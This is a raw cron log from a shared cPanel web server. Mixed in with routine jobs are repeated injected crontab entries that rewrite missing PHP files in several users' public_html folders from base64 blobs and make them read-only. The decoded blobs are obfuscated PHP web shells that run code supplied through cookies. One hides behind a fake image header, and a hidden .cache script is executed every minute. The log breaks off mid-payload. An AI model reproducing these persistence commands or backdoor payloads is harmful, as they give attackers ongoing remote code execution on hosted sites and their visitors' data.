Mar  2 05:17:01 medusa CROND[26477]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:17:01 medusa CROND[26480]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:17:01 medusa CROND[26481]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:18:01 medusa CROND[11800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:18:02 medusa CROND[11999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:18:02 medusa CROND[12045]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:18:02 medusa CROND[12050]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:18:02 medusa CROND[12052]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:18:02 medusa CROND[12056]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:18:02 medusa CROND[12067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:18:02 medusa CROND[12069]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:18:02 medusa CROND[12071]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:18:02 medusa CROND[12070]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:18:02 medusa CROND[12072]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:18:02 medusa CROND[12073]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:18:02 medusa CROND[12074]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:18:02 medusa CROND[12075]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 05:19:02 medusa CROND[31941]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:19:02 medusa CROND[31942]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:19:02 medusa CROND[31949]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:19:02 medusa CROND[31951]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:19:02 medusa CROND[31952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:19:02 medusa CROND[31950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:19:02 medusa CROND[31953]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:19:02 medusa CROND[31957]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:19:02 medusa CROND[31961]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:19:02 medusa CROND[31962]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:19:02 medusa CROND[31967]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6IC